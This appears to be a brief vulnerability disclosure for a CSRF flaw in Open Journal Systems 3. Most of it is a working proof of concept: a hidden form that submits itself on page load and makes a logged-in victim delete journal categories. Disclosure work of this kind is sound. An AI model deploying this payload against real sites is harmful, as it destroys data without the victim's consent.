Description
CSRF Delete Categories
Proof of Concept
1 .Attack sends fake requests to users
<html>
<body>
<form action="https://demo.publicknowledgeproject.org/ojs3/testdrive/index.php/testdrive-
journal/$$$call$$$/grid/settings/category/category-category-grid/delete-category">
<input type="hidden" name="categoryId" value="6" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
2 .User clicks, deletes unwanted Categories
Payload Poc
https://drive.google.com/file/d/12cCzI-_b9KLCRlND6MmjM6j-DJfTJiIt/view?usp=sharing
Video Poc
https://drive.google.com/file/d/1y-cR_Stxg9hvk7kZp9HeObLPxQDXbpMW/view?usp=sharing